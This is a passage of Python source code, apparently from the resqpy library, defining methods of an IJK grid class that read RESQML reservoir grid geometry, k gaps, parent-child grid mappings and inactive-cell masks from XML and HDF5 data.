= None #: numpy array of shape (2, 3) being (min max, x y z)\n self.property_collection = None #: GridPropertyCollection object\n self.inactive = None #: numpy bool array: inactive cell mask (not native resqml - derived from active property)\n self.all_inactive = None #: numpy bool indicating whether all cells are inactive\n self.active_property_uuid = None #: uuid of property holding active cell boolean array (used to populate inactive)\n self.pinchout = None #: numpy bool array: pinchout mask, only set on demand (not native resqml)\n self.grid_skin = None #: outer skin of grid as a GridSkin object, computed and cached on demand\n\n super().__init__(model = parent_model, uuid = uuid, title = title, originator = originator,\n extra_metadata = extra_metadata, root_node = grid_root)\n\n if not self.title: self.title = 'ROOT'\n\n if (uuid is not None or grid_root is not None):\n if geometry_required: assert self.geometry_root is not None, 'grid geometry not present in xml'\n if find_properties: self.extract_property_collection()\n\n\n def _load_from_xml(self):\n # Extract simple attributes from xml and set as attributes in this resqpy object\n grid_root = self.root\n assert grid_root is not None\n self.grid_representation = 'IjkGrid' # this attribute not much used\n self.extract_extent_kji()\n self.nk = self.extent_kji[0] # for convenience available as individual attribs as well as np triplet\n self.nj = self.extent_kji[1]\n self.ni = self.extent_kji[2]\n self.nk_plus_k_gaps = self.nk # temporarily, set properly by self.extract_k_gaps()\n self.geometry_root = rqet.find_tag(grid_root, 'Geometry')\n if self.geometry_root is None:\n self.geometry_defined_for_all_pillars_cached = True\n self.geometry_defined_for_all_cells_cached = True\n self.pillar_shape = 'straight'\n self.has_split_coordinate_lines = False\n self.k_direction_is_down = True # arbitrary, as 'down' is rather meaningless without a crs\n else:\n self.extract_crs_root()\n self.extract_crs_uuid()\n self.extract_has_split_coordinate_lines()\n self.extract_grid_is_right_handed()\n self.pillar_geometry_is_defined() # note: if there is no geometry at all, resqpy sets this True\n self.cell_geometry_is_defined() # note: if there is no geometry at all, resqpy sets this True\n self.extract_pillar_shape()\n self.extract_k_direction_is_down()\n self.extract_k_gaps()\n if self.geometry_root is None: assert not self.k_gaps, 'K gaps present in grid without geometry'\n self.extract_parent()\n self.extract_children()\n# self.create_column_pillar_mapping() # mapping now created on demand in other methods\n self.extract_inactive_mask()\n\n\n @property\n def grid_root(self):\n \"\"\"Alias for root\"\"\"\n return self.root\n\n\n def set_modified(self, update_xml = False, update_hdf5 = False):\n \"\"\"Assigns a new uuid to this grid; also calls set_modified() for parent model.\n\n arguments:\n update_xml (boolean, default False): if True, the uuid is modified in the xml tree\n for the grid part\n update_hdf5: (boolean, default False): if True, the uuid in the hdf5 internal path names\n for the datasets (arrays) for the grid are updated\n\n returns:\n the new uuid for this grid object\n\n notes:\n a resqml object should be thought of as immutable; therefore when modifying an object,\n it is preferable to assign it a new unique identifer which this method does for a grid;\n the hdf5 internal path names held in xml are only updated if both update_xml and update_hdf5\n are True;\n if the grid object has been created using the Model.copy_part() method, it is not\n necessary to call this function as a new uuid will already have been assigned;\n NB: relationships are not updated by this function, including the relationship to the\n hdf5 external part\n \"\"\"\n\n old_uuid = self.uuid\n self.uuid = bu.new_uuid()\n if old_uuid is not None:\n log.info('changing uuid for grid from: ' + str(old_uuid) + ' to: ' + str(self.uuid))\n else:\n log.info('setting new uuid for grid: ' + str(self.uuid))\n if update_xml:\n rqet.patch_uuid_in_part_root(self.root, self.uuid)\n self.model.add_part('obj_IjkGridRepresentation', self.uuid, self.root)\n self.model.remove_part(rqet.part_name_for_object('obj_IjkGridRepresentation', old_uuid))\n if update_hdf5:\n hdf5_uuid_list = self.model.h5_uuid_list(self.root)\n for ext_uuid in hdf5_uuid_list:\n hdf5_file = self.model.h5_access(ext_uuid, mode = 'r+')\n rwh5.change_uuid(hdf5_file, old_uuid, self.uuid)\n if update_xml and update_hdf5:\n self.model.change_uuid_in_hdf5_references(self.root, old_uuid, self.uuid)\n self.model.set_modified()\n return self.uuid\n\n\n def extract_extent_kji(self):\n \"\"\"Returns the grid extent; for IJK grids this is a 3 integer numpy array, order is Nk, Nj, Ni.\n\n returns:\n numpy int array of shape (3,) being number of cells in k, j & i axes respectively;\n the return value is cached in attribute extent_kji, which can alternatively be referenced\n directly by calling code as the value is set from xml on initialisation\n \"\"\"\n\n if self.extent_kji is not None: return self.extent_kji\n self.extent_kji = np.ones(3, dtype = 'int') # todo: handle other varieties of grid\n self.extent_kji[0] = int(rqet.find_tag(self.root, 'Nk').text)\n self.extent_kji[1] = int(rqet.find_tag(self.root, 'Nj').text)\n self.extent_kji[2] = int(rqet.find_tag(self.root, 'Ni').text)\n return self.extent_kji\n\n\n def cell_count(self, active_only = False, non_pinched_out_only = False, geometry_defined_only = False):\n \"\"\"Returns number of cells in grid; optionally limited by active, non-pinched-out, or having geometry.\n\n arguments:\n active_only (boolean, default False): if True, the count of active cells is returned\n non_pinched_out_only (boolean, default False): if True, the count of cells with vertical\n thickness greater than 0.001 (units are crs vertical units) is returned\n geometry_defined_only (boolean, default False): if True, the count of cells which have a\n defined geometry is returned (a zero thickness cell may still have a defined geometry)\n\n returns:\n integer being the number of cells in the grid\n \"\"\"\n\n # todo: elsewhere: setting of active array from boolean array or zero pore volume\n if not (active_only or non_pinched_out_only or geometry_defined_only):\n return np.prod(self.extent_kji)\n if non_pinched_out_only:\n self.pinched_out(cache_pinchout_array = True)\n return self.pinchout.size - np.count_nonzero(self.pinchout)\n if active_only:\n if self.all_inactive: return 0\n if self.inactive is not None:\n return self.inactive.size - np.count_nonzero(self.model.inactive)\n else:\n geometry_defined_only = True\n if geometry_defined_only:\n if self.geometry_defined_for_all_cells(cache_array = True):\n return np.prod(self.extent_kji)\n return np.count_nonzero(self.array_cell_geometry_is_defined)\n return None\n\n\n def natural_cell_index(self, cell_kji0):\n \"\"\"Returns a single integer for the cell, being the index into a flattened array.\"\"\"\n\n return (cell_kji0[0] * self.nj + cell_kji0[1]) * self.ni + cell_kji0[2]\n\n\n def natural_cell_indices(self, cell_kji0s):\n \"\"\"Returns a numpy integer array with a value for each of the cells, being the index into a flattened array.\n\n argument:\n cell_kji0s: numpy integer array of shape (..., 3) being a list of cell indices in kji0 protocol\n\n returns:\n numpy integer array of shape (...,) being the equivalent natural cell indices (for a flattened array of cells)\n \"\"\"\n\n return (cell_kji0s[..., 0] * self.nj + cell_kji0s[..., 1]) * self.ni + cell_kji0s[..., 2]\n\n\n def denaturalized_cell_index(self, c0):\n \"\"\"Returns a 3 element cell_kji0 index (as a tuple) for the cell with given natural index.\"\"\"\n\n k0, ji0 = divmod(c0, self.nj * self.ni)\n j0, i0 = divmod(ji0, self.ni)\n return (k0, j0, i0)\n\n\n def denaturalized_cell_indices(self, c0s):\n \"\"\"Returns an integer numpy array of shape (..., 3) holding kji0 indices for the cells with given natural indices.\n\n argument:\n c0s: numpy integer array of shape (...,) being natural cell indices (for a flattened array)\n\n returns:\n numpy integer array of shape (..., 3) being the equivalent kji0 protocol cell indices\n \"\"\"\n\n k0s, ji0s = divmod(c0s, self.nj * self.ni)\n j0s, i0s = divmod(ji0s, self.ni)\n return np.stack((k0s, j0s, i0s), axis = -1)\n\n\n def resolve_geometry_child(self, tag, child_node = None):\n \"\"\"If xml child node is None, looks for tag amongst children of geometry root.\n\n arguments:\n tag (string): the tag of the geometry child node of interest\n child_node (optional): the already resolved xml root of the child, or None\n\n returns:\n xml node of child of geometry node for this grid, which matches tag\n\n note:\n if child_node argument is not None, it is simply returned;\n if child_node is None, the geometry node for this grid is scanned for a child with matching tag\n \"\"\"\n\n if child_node is not None: return child_node\n return rqet.find_tag(self.geometry_root, tag)\n\n\n def extract_crs_uuid(self):\n \"\"\"Returns uuid for coordinate reference system, as stored in geometry xml tree.\n\n returns:\n uuid.UUID object\n \"\"\"\n\n if self.crs_uuid is not None: return self.crs_uuid\n crs_root = self.resolve_geometry_child('LocalCrs')\n uuid_str = rqet.find_tag_text(crs_root, 'UUID')\n if uuid_str: self.crs_uuid = bu.uuid_from_string(uuid_str)\n return self.crs_uuid\n\n\n def extract_crs_root(self):\n \"\"\"Returns root in parent model xml parts forest of coordinate reference system used by this grid geomwtry.\n\n returns:\n root node in xml tree for coordinate reference system\n\n note:\n resqml allows a part to refer to another part that is not actually present in the same epc package;\n in practice, the crs is a tiny part and has always been included in datasets encountered so far;\n if the crs is not present, this method will return None (I think)\n \"\"\"\n\n if self.crs_root is not None: return self.crs_root\n crs_uuid = self.extract_crs_uuid()\n if crs_uuid is None: return None\n self.crs_root = self.model.root(uuid = crs_uuid)\n return self.crs_root\n\n\n def extract_grid_is_right_handed(self):\n \"\"\"Returns boolean indicating whether grid IJK axes are right handed, as stored in xml.\n\n returns:\n boolean: True if grid is right handed; False if left handed\n\n notes:\n this is the actual handedness of the IJK indexing of grid cells;\n the coordinate reference system has its own implicit handedness for xyz axes;\n Nexus requires the IJK space to be righthanded so if it is not, the handedness of the xyz space is\n falsified when exporting for Nexus (as Nexus allows xyz to be right or lefthanded and it is the\n handedness of the IJK space with respect to the xyz space that matters)\n \"\"\"\n\n if self.grid_is_right_handed is not None: return self.grid_is_right_handed\n rh_node = self.resolve_geometry_child('GridIsRighthanded')\n if rh_node is None: return None\n self.grid_is_right_handed = (rh_node.text.lower() == 'true')\n return self.grid_is_right_handed\n\n\n def extract_k_direction_is_down(self):\n \"\"\"Returns boolean indicating whether increasing K indices are generally for deeper cells, as stored in xml.\n\n returns:\n boolean: True if increasing K generally indicates increasing depth\n\n notes:\n resqml allows layers to fold back over themselves, so the relationship between k and depth might not\n be monotonic;\n higher level code sometimes requires k to increase with depth;\n independently of this, z values may increase upwards or downwards in a coordinate reference system\n \"\"\"\n\n if self.k_direction_is_down is not None: return self.k_direction_is_down\n k_dir_node = self.resolve_geometry_child('KDirection')\n if k_dir_node is None: return None\n self.k_direction_is_down = (k_dir_node.text.lower() == 'down')\n return self.k_direction_is_down\n\n\n def extract_pillar_shape(self):\n \"\"\"Returns string indicating whether whether pillars are curved, straight, or vertical as stored in xml.\n\n returns:\n string: either 'curved', 'straight' or 'vertical'\n\n note:\n resqml datasets often have 'curved', even when the pillars are actually 'vertical' or 'straight';\n use actual_pillar_shape() method to determine the shape from the actual xyz points data\n \"\"\"\n\n if self.pillar_shape is not None: return self.pillar_shape\n ps_node = self.resolve_geometry_child('PillarShape')\n if ps_node is None: return None\n self.pillar_shape = ps_node.text\n return self.pillar_shape\n\n\n def extract_has_split_coordinate_lines(self):\n \"\"\"Returns boolean indicating whether grid geometry has any split coordinate lines (split pillars, ie. faults).\n\n returns:\n boolean: True if the grid has one or more split pillars; False if all pillars are unsplit\n\n notes:\n the return value is based on the array elements present in the xml tree, unless it has already been\n determined;\n resqml ijk grids with split coordinate lines have extra arrays compared to unfaulted grids, and the main\n Points array is indexed differently: [k', pillar_index, xyz] instead of [k', j', i', xyz] (where k', j', i'\n range of nk+k_gaps+1, nj+1, ni+1 respectively)\n \"\"\"\n\n if self.has_split_coordinate_lines is not None: return self.has_split_coordinate_lines\n split_node = self.resolve_geometry_child('SplitCoordinateLines')\n self.has_split_coordinate_lines = (split_node is not None)\n if split_node is not None:\n self.split_pillars_count = int(rqet.find_tag(split_node, 'Count').text.strip())\n return self.has_split_coordinate_lines\n\n\n def extract_k_gaps(self):\n \"\"\"Returns information about gaps (voids) between layers in the grid.\n\n returns:\n (int, numpy bool array, numpy int array) being the number of gaps between layers;\n a 1D bool array of extent nk-1 set True where there is a gap below the layer; and\n a 1D int array being the k index to actually use in the points data for each layer k0\n\n notes:\n all returned elements are stored as attributes in the grid object; int and bool array elements\n will be None if there are no k gaps; each k gap implies an extra element in the points data for\n each pillar; when wanting to index k interfaces (horizons) rather than layers, the last of the\n returned values can be used to index the k axis of the points data to yield the top face of the\n layer and the successor in k will always index the basal face of the same layer\n \"\"\"\n\n if self.k_gaps is not None:\n self.nk_plus_k_gaps = self.nk + self.k_gaps\n return self.k_gaps, self.k_gap_after_array, self.k_raw_index_array\n self.k_gaps = rqet.find_nested_tags_int(self.root, ['KGaps', 'Count'])\n if self.k_gaps:\n self.nk_plus_k_gaps = self.nk + self.k_gaps\n k_gap_after_root = rqet.find_nested_tags(self.root, ['KGaps', 'GapAfterLayer'])\n assert k_gap_after_root is not None\n bool_array_type = rqet.node_type(k_gap_after_root)\n assert bool_array_type == 'BooleanHdf5Array' # could be a constant array but not handled by this code\n h5_key_pair = self.model.h5_uuid_and_path_for_node(k_gap_after_root)\n assert h5_key_pair is not None\n self.model.h5_array_element(h5_key_pair, index = None, cache_array = True, object = self,\n array_attribute = 'k_gap_after_array', dtype = 'bool')\n assert hasattr(self, 'k_gap_after_array')\n assert self.k_gap_after_array.ndim == 1 and self.k_gap_after_array.size == self.nk - 1\n self.k_raw_index_array = np.empty((self.nk, ), dtype = int)\n gap_count = 0\n for k in range(self.nk):\n self.k_raw_index_array[k] = k + gap_count\n if k < self.nk - 1 and self.k_gap_after_array[k]: gap_count += 1\n assert gap_count == self.k_gaps, 'inconsistency in k gap data'\n else:\n self.nk_plus_k_gaps = self.nk\n self.k_gap_after_array = None\n self.k_raw_index_array = np.arange(self.nk, dtype = int)\n return self.k_gaps, self.k_gap_after_array, self.k_raw_index_array\n\n\n def extract_parent(self):\n \"\"\"Loads fine:coarse mapping information between this grid and parent, if any, returning parent grid uuid.\"\"\"\n\n class IntervalsInfo:\n def __init__(self):\n pass\n\n if self.extent_kji is None: self.extract_extent_kji()\n if self.parent_grid_uuid is not None: return self.parent_grid_uuid\n self.parent_window = None # FineCoarse cell index mapping info with respect to parent\n self.is_refinement = None\n pw_node = rqet.find_tag(self.root, 'ParentWindow')\n if pw_node is None: return None\n # load a FineCoarse object as parent_window attirbute and set parent_grid_uuid attribute\n self.parent_grid_uuid = bu.uuid_from_string(rqet.find_nested_tags_text(pw_node, ['ParentGrid', 'UUID']))\n assert self.parent_grid_uuid is not None\n parent_grid_root = self.model.root(uuid = self.parent_grid_uuid)\n if parent_grid_root is None:\n log.warning('parent grid not present in model, unable to treat as local grid')\n return None\n # etxract parent grid extent directly from xml to avoid risk of circular references\n parent_grid_extent_kji = np.array((rqet.find_tag_int(parent_grid_root, 'Nk'),\n rqet.find_tag_int(parent_grid_root, 'Nj'),\n rqet.find_tag_int(parent_grid_root, 'Ni')), dtype = int)\n parent_initials = []\n intervals_count_list = []\n parent_count_list_list = []\n child_count_list_list = []\n child_weight_list_list = []\n refining_flag = None # gets set True if local grid is a refinement, False if a coarsening\n parent_box = np.zeros((2, 3), dtype = int)\n for axis in range(3):\n regrid_node = rqet.find_tag(pw_node,'KJI'[axis] + 'Regrid')\n assert regrid_node is not None\n pii = rqet.find_tag_int(regrid_node, 'InitialIndexOnParentGrid')\n assert pii is not None and 0 <= pii < parent_grid_extent_kji[axis]\n parent_initials.append(pii)\n parent_box[0, axis] = pii\n intervals_node = rqet.find_tag(regrid_node, 'Intervals')\n if intervals_node is None: # implicit one-to-one mapping\n intervals_count_list.append(1)\n parent_count_list_list.append(np.array(self.extent_kji[axis], dtype = int))\n parent_box[1, axis] = parent_box[0, axis] + self.extent_kji[axis] - 1\n assert parent_box[1, axis] < parent_grid_extent_kji[axis]\n child_count_list_list.append(np.array(self.extent_kji[axis], dtype = int))\n child_weight_list_list.append(None)\n else:\n intervals_info = IntervalsInfo()\n intervals_count = rqet.find_tag_int(intervals_node, 'IntervalCount')\n assert intervals_count is not None and intervals_count > 0\n pcpi_node = rqet.find_tag(intervals_node, 'ParentCountPerInterval')\n assert pcpi_node is not None\n h5_key_pair = self.model.h5_uuid_and_path_for_node(pcpi_node)\n assert h5_key_pair is not None\n self.model.h5_array_element(h5_key_pair, index = None, cache_array = True, object = intervals_info,\n array_attribute = 'parent_count_per_interval', dtype = 'int')\n assert hasattr(intervals_info, 'parent_count_per_interval')\n assert intervals_info.parent_count_per_interval.ndim == 1 and intervals_info.parent_count_per_interval.size == intervals_count\n parent_box[1, axis] = parent_box[0, axis] + np.sum(intervals_info.parent_count_per_interval) - 1\n assert parent_box[1, axis] < parent_grid_extent_kji[axis]\n ccpi_node = rqet.find_tag(intervals_node, 'ChildCountPerInterval')\n assert ccpi_node is not None\n h5_key_pair = self.model.h5_uuid_and_path_for_node(ccpi_node)\n assert h5_key_pair is not None\n self.model.h5_array_element(h5_key_pair, index = None, cache_array = True, object = intervals_info,\n array_attribute = 'child_count_per_interval', dtype = 'int')\n assert hasattr(intervals_info, 'child_count_per_interval')\n assert intervals_info.child_count_per_interval.ndim == 1 and intervals_info.child_count_per_interval.size == intervals_count\n assert np.sum(intervals_info.child_count_per_interval) == self.extent_kji[axis] # assumes both local and parent grids are IjkGrids\n for interval in range(intervals_count):\n if intervals_info.child_count_per_interval[interval] == intervals_info.parent_count_per_interval[interval]: continue # one-to-one\n if refining_flag is None:\n refining_flag = (intervals_info.child_count_per_interval[interval] > intervals_info.parent_count_per_interval[interval])\n assert refining_flag == (intervals_info.child_count_per_interval[interval] > intervals_info.parent_count_per_interval[interval]), \\\n 'mixture of refining and coarsening in one local grid – allowed by RESQML but not handled by this code'\n if refining_flag:\n assert intervals_info.child_count_per_interval[interval] % intervals_info.parent_count_per_interval[interval] == 0, \\\n 'within a single refinement interval, fine and coarse cell boundaries are not obviously aligned'\n else:\n assert intervals_info.parent_count_per_interval[interval] % intervals_info.child_count_per_interval[interval] == 0, \\\n 'within a single coarsening interval, fine and coarse cell boundaries are not obviously aligned'\n ccw_node = rqet.find_tag(intervals_node, 'ChildCellWeights')\n if ccw_node is None:\n intervals_info.child_cell_weights = None\n else:\n h5_key_pair = self.model.h5_uuid_and_path_for_node(ccw_node)\n assert h5_key_pair is not None\n self.model.h5_array_element(h5_key_pair, index = None, cache_array = True, object = intervals_info,\n array_attribute = 'child_cell_weights', dtype = 'float')\n assert hasattr(intervals_info, 'child_cell_weights')\n assert intervals_info.child_cell_weights.ndim == 1 and intervals_info.child_cell_weights.size == self.extent_kji[axis]\n intervals_count_list.append(intervals_count)\n parent_count_list_list.append(intervals_info.parent_count_per_interval)\n child_count_list_list.append(intervals_info.child_count_per_interval)\n child_weight_list_list.append(intervals_info.child_cell_weights)\n cell_overlap_node = rqet.find_tag(pw_node,'CellOverlap')\n if cell_overlap_node is not None: log.warning('ignoring cell overlap information in grid relationship')\n omit_node = rqet.find_tag(pw_node,'OmitParentCells')\n if omit_node is not None: log.warning('unable to handle parent cell omissions in local grid definition – ignoring')\n # todo: handle omissions\n\n if refining_flag is None:\n log.warning('local grid has no refinement nor coarsening – treating as a refined grid')\n refining_flag = True\n self.is_refinement = refining_flag\n\n if refining_flag: # local grid is a refinement\n self.parent_window = fc.FineCoarse(self.extent_kji, parent_box[1] - parent_box[0] + 1, within_coarse_box = parent_box)\n for axis in range(3):\n if intervals_count_list[axis] == 1:\n self.parent_window.set_constant_ratio(axis)\n constant_ratio = self.extent_kji[axis] // (parent_box[1, axis] - parent_box[0, axis] + 1)\n ratio_vector = None\n else:\n constant_ratio = None\n ratio_vector = child_count_list_list[axis] // parent_count_list_list[axis]\n self.parent_window.set_ratio_vector(axis, ratio_vector)\n if child_weight_list_list[axis] is None:\n self.parent_window.set_equal_proportions(axis)\n else:\n proportions_list = []\n place = 0\n for coarse_slice in range(parent_box[1, axis] - parent_box[0, axis] + 1):\n if ratio_vector is None:\n proportions_list.append(np.array(child_weight_list_list[axis][place : place + constant_ratio]))\n place += constant_ratio\n else:\n proportions_list.append(np.array(child_weight_list_list[axis][place : place + ratio_vector[coarse_slice]]))\n place += ratio_vector[coarse_slice]\n self.parent_window.set_proportions_list_of_vectors(axis, proportions_list)\n\n else: # local grid is a coarsening\n self.parent_window = fc.FineCoarse(parent_box[1] - parent_box[0] + 1, self.extent_kji, within_fine_box = parent_box)\n for axis in range(3):\n if intervals_count_list[axis] == 1:\n self.parent_window.set_constant_ratio(axis)\n constant_ratio = (parent_box[1, axis] - parent_box[0, axis] + 1) // self.extent_kji[axis]\n ratio_vector = None\n else:\n constant_ratio = None\n ratio_vector = parent_count_list_list[axis] // child_count_list_list[axis]\n self.parent_window.set_ratio_vector(axis, ratio_vector)\n if child_weight_list_list[axis] is None:\n self.parent_window.set_equal_proportions(axis)\n else:\n proportions_list = []\n place = 0\n for coarse_slice in range(self.extent_kji[axis]):\n if ratio_vector is None:\n proportions_list.append(np.array(child_weight_list_list[axis][place : place + constant_ratio]))\n place += constant_ratio\n else:\n proportions_list.append(np.array(child_weight_list_list[axis][place : place + ratio_vector[coarse_slice]]))\n place += ratio_vector[coarse_slice]\n self.parent_window.set_proportions_list_of_vectors(axis, proportions_list)\n\n self.parent_window.assert_valid()\n\n return self.parent_grid_uuid\n\n\n def set_parent(self, parent_grid_uuid, self_is_refinement, parent_window):\n \"\"\"Set relationship with respect to a parent grid.\n\n arguments:\n parent_grid_uuid (uuid.UUID): the uuid of the parent grid\n self_is_refinement (boolean): if True, this grid is a refinement of the subset of the parent grid;\n if False, this grid is a coarsening\n parent_window: (olio.fine_coarse.FineCoarse object): slice mapping information in K, j & I axes; note\n that self_is_refinement determines which of the 2 grids is fine and which is coarse\n \"\"\"\n\n if self.parent_grid_uuid is not None: log.warning('overwriting parent grid information')\n self.parent_grid_uuid = parent_grid_uuid\n if parent_grid_uuid is None:\n self.parent_window = None\n self.is_refinement = None\n else:\n parent_window.assert_valid()\n self.parent_window = parent_window\n self.is_refinement = self_is_refinement\n\n\n def extract_children(self):\n assert self.uuid is not None\n if self.local_grid_uuid_list is not None: return self.local_grid_uuid_list\n self.local_grid_uuid_list = []\n related_grid_roots = self.model.roots(obj_type = 'IjkGridRepresentation', related_uuid = self.uuid)\n if related_grid_roots is not None:\n for related_root in related_grid_roots:\n parent_uuid = rqet.find_nested_tags_text(related_root, ['ParentWindow', 'ParentGrid', 'UUID'])\n if parent_uuid is None: continue\n parent_uuid = bu.uuid_from_string(parent_uuid)\n if bu.matching_uuids(self.uuid, parent_uuid): self.local_grid_uuid_list.append(parent_uuid)\n return self.local_grid_uuid_list\n\n\n def extract_property_collection(self):\n \"\"\"Load grid property collection object holding lists of all properties in model that relate to this grid.\n\n returns:\n resqml_property.GridPropertyCollection object\n\n note:\n a reference to the grid property collection is cached in this grid object; if the properties change,\n for example by generating some new properties, the property_collection attribute of the grid object\n would need to be reset to None elsewhere before calling this method again\n \"\"\"\n\n if self.property_collection is not None: return self.property_collection\n self.property_collection = rprop.GridPropertyCollection(grid = self)\n return self.property_collection\n\n\n def extract_inactive_mask(self, check_pinchout = False):\n \"\"\"Returns boolean numpy array indicating which cells are inactive, if (in)active property found in this grid.\n\n returns:\n numpy array of booleans, of shape (nk, nj, ni) being True for cells which are inactive; False for active\n\n note:\n resqml does not have a built-in concept of inactive (dead) cells; this code can maintain an 'inactive'\n attribute for the grid object, which is a boolean numpy array indicating which cells are inactive\n \"\"\"\n\n if self.inactive is not None and not check_pinchout: return self.inactive\n geom_defined = self.cell_geometry_is_defined_ref()\n if self.inactive is None:\n if geom_defined is None or geom_defined is True:\n self.inactive = np.zeros(tuple(self.extent_kji)) # ie. all active\n else:\n self.inactive = np.logical_not(self.cell_geometry_is_defined_ref())\n if check_pinchout: self.inactive = np.logical_or(self.inactive, self.pinched_out())\n gpc = self.extract_property_collection()\n if gpc is None:\n self.all_inactive = np.all(self.inactive)\n return self.inactive\n active_gpc = rprop.GridPropertyCollection()\n # note: use of bespoke (local) property kind 'active' as suggested in resqml usage guide\n active_gpc.inherit_parts_selectively_from_other_collection(other = gpc, property_kind = 'active',\n continuous = False, categorical = False)\n if active_gpc.number_of_parts() > 0:\n if active_gpc.number_of_parts() > 1:\n log.warning('more than one property found with bespoke kind \"active\", using last encountered')\n active_part = active_gpc.parts()[-1]\n active_array = active_gpc.cached_part_array_ref(active_part, dtype = 'bool')\n self.inactive = np.logical_or(self.inactive, np.logical_not(active_array))\n self.active_property_uuid = active_gpc.uuid_for_part(active_part)\n active_gpc.uncache_part_array(active_part)\n else: # for backward compatibility with earlier versions of resqpy\n inactive_gpc = rprop.GridPropertyCollection()\n inactive_gpc.inherit_parts_selectively_from_other_collection(other = gpc, property_kind = 'code',\n facet_type = 'what', facet = 'inactive')\n if inactive_gpc.number_of_parts() == 1:\n inactive_part = inactive_gpc.parts()[0]\n inactive_array = inactive_gpc.cached_part_array_ref(inactive_part, dtype = 'bool')\n self.inactive = np.logical_or(self.inactive, inactive_array)\n inactive_gpc.uncache_part_array(inactive_part)\n\n self.all_inactive = np.all(self.inactive)\n return self.inactive\n\n\n def cell_geometry_is_defined(self, cell_kji0 = None, cell_geometry_is_defined_root = None, cache_array = True):\n \"\"\"Returns True if the geometry of the specified cell is defined; can also be used to cache (load) the boolean array.\n\n arguments:\n cell_kji0 (triplet of integer, optional): if present, the index of the cell of interest, in kji0 protocol;\n if False, None is returned but the boolean array can still be cached\n cell_geometry_is_defined_root (optional): if present, the root of the 'cell geometry is defined' xml tree for\n this grid; this optional argument is to allow for speed optimisation, to save searching for the node\n cache_array (boolean, default True): if True, the 'cell geometry is defined' array is cached in memory, unless\n the xml tree indicates that geometry is defined for all cells, in which case that is noted\n\n returns:\n if cell_kji0 is not None, a boolean is returned indicating whether geometry is defined for that cell;\n if cell_kji0 is None, None is returned (but the array caching logic will have been applied)\n \"\"\"\n\n if self.geometry_defined_for_all_cells_cached: return True\n if hasattr(self, 'array_cell_geometry_is_defined') and self.array_cell_geometry_is_defined is None:\n delattr(self, 'array_cell_geometry_is_defined')\n if hasattr(self, 'array_cell_geometry_is_defined'):\n self.geometry_defined_for_all_cells_cached = np.all(self.array_cell_geometry_is_defined)\n if self.geometry_defined_for_all_cells_cached: return True\n if cell_kji0 is None: return False\n return self.array_cell_geometry_is_defined[tuple(cell_kji0)]\n is_def_root = self.resolve_geometry_child('CellGeometryIsDefined', child_node = cell_geometry_is_defined_root)\n if is_def_root is None:\n points = self.points_ref(masked = False)\n assert points is not None\n self.geometry_defined_for_all_cells_cached = not np.any(np.isnan(points))\n if self.geometry_defined_for_all_cells_cached or cell_kji0 is None: return self.geometry_defined_for_all_cells_cached\n is_def_type = rqet.node_type(is_def_root)\n if is_def_type == 'BooleanConstantArray':\n self.geometry_defined_for_all_cells_cached = (rqet.find_tag_text(is_def_root, 'Value').lower() == 'true')\n return self.geometry_defined_for_all_cells_cached\n else:\n assert(is_def_type == 'BooleanHdf5Array')\n h5_key_pair = self.model.h5_uuid_and_path_for_node(is_def_root)\n if h5_key_pair is None: return None\n result = self.model.h5_array_element(h5_key_pair, index = cell_kji0, cache_array = cache_array, object = self,\n array_attribute = 'array_cell_geometry_is_defined', dtype = 'bool')\n if self.geometry_defined_for_all_cells_cached is None and cache_array and hasattr(self, 'array_cell_geometry_is_defined'):\n self.geometry_defined_for_all_cells_cached = (np.count_nonzero(self.array_cell_geometry_is_defined) ==\n self.array_cell_geometry_is_defined.size)\n if self.geometry_defined_for_all_cells_cached:\n delattr(self, 'array_cell_geometry_is_defined')\n return result\n\n\n def pillar_geometry_is_defined(self, pillar_ji0 = None, pillar_geometry_is_defined_root = None, cache_array = True):\n \"\"\"Returns True if the geometry of the specified pillar is defined; False otherwise; can also be used to cache (load) the boolean array.\n\n arguments:\n pillar_ji0 (pair of integers, optional): if present, the index of the pillar of interest, in ji0 protocol;\n if False, None is returned but the boolean array can still be cached\n pillar_geometry_is_defined_root (optional): if present, the root of the 'pillar geometry is defined' xml tree for\n this grid; this optional argument is to allow for speed optimisation, to save searching for the node\n cache_array (boolean, default True): if True, the 'pillar geometry is defined' array is cached in memory, unless\n the xml tree indicates that geometry is defined for all pillars, in which case that is noted\n\n returns:\n if pillar_ji0 is not None, a boolean is returned indicating whether geometry is defined for that pillar;\n if pillar_ji0 is None, None is returned unless geometry is defined for all pillars in which case True is returned\n \"\"\"\n\n if self.geometry_defined_for_all_pillars_cached: return True\n if hasattr(self, 'array_pillar_geometry_is_defined'):\n if pillar_ji0 is None: return None # this option allows caching of array without actually referring to any pillar\n return self.array_pillar_geometry_is_defined[tuple(pillar_ji0)]\n is_def_root = self.resolve_geometry_child('PillarGeometryIsDefined', child_node = pillar_geometry_is_defined_root)\n if is_def_root is None: return True # maybe default should be False?\n is_def_type = rqet.node_type(is_def_root)\n if is_def_type == 'BooleanConstantArray':\n assert rqet.find_tag(is_def_root, 'Value').text.lower() == 'true'\n self.geometry_defined_for_all_pillars_cached = True\n return True\n else:\n assert is_def_type == 'BooleanHdf5Array'\n h5_key_pair = self.model.h5_uuid_and_path_for_node(is_def_root)\n if h5_key_pair is None: return None\n result = self.model.h5_array_element(h5_key_pair, index = pillar_ji0, cache_array = cache_array, object = self,\n array_attribute = 'array_pillar_geometry_is_defined', dtype = 'bool')\n if self.geometry_defined_for_all_pillars_cached is None and cache_array and hasattr(self, 'array_pillar_geometry_is_defined'):\n self.geometry_defined_for_all_pillars_cached = (np.count_nonzero(self.array_pillar_geometry_is_defined) ==\n self.array_pillar_geometry_is_defined.size)\n if self.geometry_defined_for_all_pillars_cached: del self.array_pillar_geometry_is_defined # memory optimisation\n return result\n\n\n def geometry_defined_for_all_cells(self, cache_array = True):\n \"\"\"Returns True if geometry is defined for all cells; False otherwise.\n\n argument:\n cache_array (boolean, default True): if True, the 'cell geometry is defined' array is cached in memory,\n unless the xml indicates that geometry is defined for all cells, in which case that is noted\n\n returns:\n boolean: True if geometry is defined for all cells; False otherwise\n \"\"\"\n\n if self.geometry_defined_for_all_cells_cached is not None: return self.geometry_defined_for_all_cells_cached\n if cache_array:\n self.cell_geometry_is_defined(cache_array = True)\n return self.geometry_defined_for_all_cells_cached\n # loop over all cells (until a False is encountered) – only executes if cache_array is False\n cell_geom_defined_root = self.resolve_geometry_child('CellGeometryIsDefined')\n if cell_geom_defined_root is not None:\n for k0 in range(self.nk):\n for j0 in range(self.nj):\n for i0 in range(self.ni):\n if not self.cell_geometry_is_defined(cell_kji0 = (k0, j0, i0),\n cell_geometry_is_defined_root = cell_geom_defined_root,\n cache_array = False):\n 